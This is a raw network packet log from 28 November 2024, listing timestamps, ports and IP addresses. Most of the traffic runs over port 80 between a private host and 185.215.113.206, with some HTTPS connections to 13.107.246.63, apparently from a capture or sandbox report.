Nov 28, 2024 02:27:44.179867983 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.179938078 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.179970026 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.180006981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.180932999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.180996895 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.181381941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.181427956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.181976080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.181989908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.182020903 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.182044983 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.182987928 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.183053970 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.183865070 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.183943987 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.184036970 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.184055090 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.184077024 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.184097052 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.185066938 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.185110092 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.185190916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.185231924 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.186135054 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.186189890 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.186233997 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.186275959 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.187112093 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.187163115 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.187472105 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.187522888 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.188235998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.188249111 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.188298941 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.189181089 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.189376116 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.189434052 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.190207005 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.190282106 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.190589905 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.190649033 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.191256046 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.191327095 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.191514015 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.191698074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.192275047 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.192334890 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.192406893 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.192446947 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.193351030 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.193391085 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.194161892 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.194222927 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.238379955 CET	443	49878	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.241072893 CET	49878	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.241101980 CET	443	49878	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.241955996 CET	49878	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.241960049 CET	443	49878	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.286592960 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.286607027 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.286665916 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.286685944 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.286979914 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.287086964 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.287137032 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.288130999 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.288194895 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.288570881 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.288616896 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.289071083 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.289124012 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.289391041 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.289433002 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.290143967 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.290159941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.290219069 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.290219069 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.291338921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.291351080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.291383982 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.291409969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.292556047 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.292568922 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.292599916 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.292609930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.293584108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.293596029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.293617964 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.293642044 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.295005083 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.295017958 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.295051098 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.295062065 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.296082973 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.296137094 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.296575069 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.296613932 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.297477007 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.297492981 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.297523022 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.297540903 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.298516989 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.298535109 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.298556089 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.298585892 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.299576044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.299587011 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.299612999 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.299628973 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.300982952 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.300997019 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.301029921 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.301038980 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.302369118 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.302387953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.302500010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.302500010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.303360939 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.303374052 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.303441048 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.303441048 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.304482937 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.304495096 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.304631948 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.305471897 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.305485964 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.305531025 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.306976080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.306989908 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.307033062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.307892084 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.307905912 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.307941914 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.307982922 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.361805916 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.361871004 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.361918926 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.361958981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.362334967 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.362379074 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.363373995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.363387108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.363416910 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.363430023 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.363544941 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.363588095 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.364439964 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.364483118 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.364789963 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.364835024 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.365447998 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.365607023 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.365654945 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.366547108 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.366559029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.366595030 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.367518902 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.367531061 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.368501902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.368529081 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.368611097 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.368824005 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.368868113 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.369587898 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.369628906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.370122910 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.370603085 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.370655060 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.370690107 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.370727062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.371685028 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.371695995 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.371737957 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.372657061 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.372719049 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.372776985 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.372816086 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.373728037 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.373742104 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.373781919 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.374773979 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.374784946 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.374829054 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.374845982 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.375767946 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.375812054 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.376807928 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.376818895 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.376863956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.376945972 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.376986027 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.377803087 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.377895117 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.378298044 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.378339052 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.439837933 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.563494921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.690135002 CET	443	49878	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.690200090 CET	443	49878	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.690294027 CET	49878	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.690592051 CET	49878	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.690610886 CET	443	49878	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.690620899 CET	49878	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.690625906 CET	443	49878	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.697129965 CET	49885	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.697160959 CET	443	49885	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.697299957 CET	49885	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.697501898 CET	49885	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.697515965 CET	443	49885	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.755425930 CET	49886	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.755464077 CET	443	49886	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.755554914 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.755585909 CET	49886	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.755588055 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.755636930 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.755908966 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.755927086 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.755987883 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.756100893 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.756134033 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.756201029 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.756320000 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.756330013 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.756392956 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.756484032 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.756493092 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.756589890 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.756758928 CET	49887	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.756778002 CET	443	49887	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.756892920 CET	49886	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.756901979 CET	443	49886	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.757040977 CET	49888	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.757052898 CET	443	49888	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.757090092 CET	49889	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.757117033 CET	443	49889	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.757194042 CET	49890	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.757205009 CET	443	49890	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.757339001 CET	49891	443	192.168.2.6	13.107.246.63
Nov 28, 2024 02:27:44.757347107 CET	443	49891	13.107.246.63	192.168.2.6
Nov 28, 2024 02:27:44.890192986 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.890249968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.890655994 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.890667915 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.890711069 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.891606092 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.891689062 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.892652988 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.892735958 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.892807007 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.892855883 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.893449068 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.893460989 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.893510103 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.893547058 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.893785954 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.893796921 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.893836975 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.894839048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.894903898 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.895040035 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.895085096 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.896045923 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.896059990 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.896089077 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.896114111 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.897402048 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.897413969 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.897449017 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.897465944 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.898679018 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.898690939 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.898736954 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.900214911 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.900356054 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.900401115 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.901180029 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.901192904 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.901232958 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.902087927 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.902103901 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.902137995 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.902153969 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.903297901 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.903311014 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.903362036 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.904572964 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.904648066 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.905872107 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.905920982 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.905931950 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.905967951 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.906007051 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.906878948 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.906934977 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.907473087 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.907522917 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.907538891 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.907562017 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.908468962 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.908530951 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.909662962 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.909676075 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.909710884 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.909748077 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:44.910407066 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:44.910465956 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.015290976 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.015388012 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.015603065 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.015654087 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.015959024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.016222000 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.016570091 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.016628981 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.017055988 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.017107010 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.017507076 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.017551899 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.018074036 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.018085957 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.018134117 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.019171953 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.019239902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.019838095 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.019973993 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.020178080 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.020222902 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.020335913 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.020664930 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.021122932 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.021183968 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.021471024 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.021524906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.022238016 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.022296906 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.022485018 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.022533894 CET	49823	80	192.168.2.6	185.215.113.206
Nov 28, 2024 02:27:45.023205042 CET	80	49823	185.215.113.206	192.168.2.6
Nov 28, 2024 02:27:45.023258924 CET	49823	80	192.168.2.6	185.215.113.206
